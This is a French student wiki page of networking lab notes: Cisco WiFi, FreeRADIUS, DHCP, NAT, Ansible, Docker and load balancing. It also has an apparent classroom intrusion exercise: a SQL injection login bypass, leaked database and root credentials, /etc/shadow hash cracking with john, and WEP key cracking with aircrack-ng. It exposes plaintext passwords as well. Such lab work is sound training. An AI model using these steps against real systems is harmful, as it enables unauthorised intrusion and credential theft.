 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
	 ServerName reverse.girolle.site&lt;br /&gt;
	 ServerAdmin webmaster@localhost&lt;br /&gt;
	 &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
		 ProxySet lbmethod=byrequests&lt;br /&gt;
 	&amp;lt;/Proxy&amp;gt;&lt;br /&gt;
	 ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
	 ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55014</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55014"/>
				<updated>2020-12-18T23:06:36Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
